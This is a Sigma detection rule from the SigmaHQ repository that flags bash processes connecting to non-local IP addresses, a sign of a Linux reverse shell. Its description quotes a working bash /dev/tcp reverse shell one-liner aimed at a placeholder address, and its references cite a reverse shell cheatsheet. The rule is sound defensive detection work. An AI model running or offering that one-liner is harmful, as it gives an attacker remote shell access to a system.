Sigma rule: Linux Reverse Shell Indicator

Rule

Title

Linux Reverse Shell Indicator

Status

test

Level

critical

Author

Florian Roth (Nextron Systems)

Date

2021-10-16

Modified

2022-12-25

File

rules/linux/network_connection/net_connection_lnx_back_connect_shell_dev.yml

Commit

ccbb0369507f796db0b0ae6854c8a2be471b9d84

Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')

Log source

product

linux

category

network_connection

Detection

selection:
    Image|endswith: '/bin/bash'
filter:
    DestinationIp:
        - '127.0.0.1'
        - '0.0.0.0'
condition: selection and not filter

False positives (as the rule lists them)

• Unknown

Tags

• attack.execution
• attack.t1059.004

MITRE ATT&CK ids this rule names

• T1059.004

References

• https://github.com/swisskyrepo/PayloadsAllTheThings/blob/d9921e370b7c668ee8cc42d09b1932c1b98fa9dc/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md

Read on 2026-11-03T00:58:21.399Z under licence sigma-drl-1.1@d5f4c36a from https://github.com/SigmaHQ/sigma/blob/ccbb0369507f796db0b0ae6854c8a2be471b9d84/rules/linux/network_connection/net_connection_lnx_back_connect_shell_dev.yml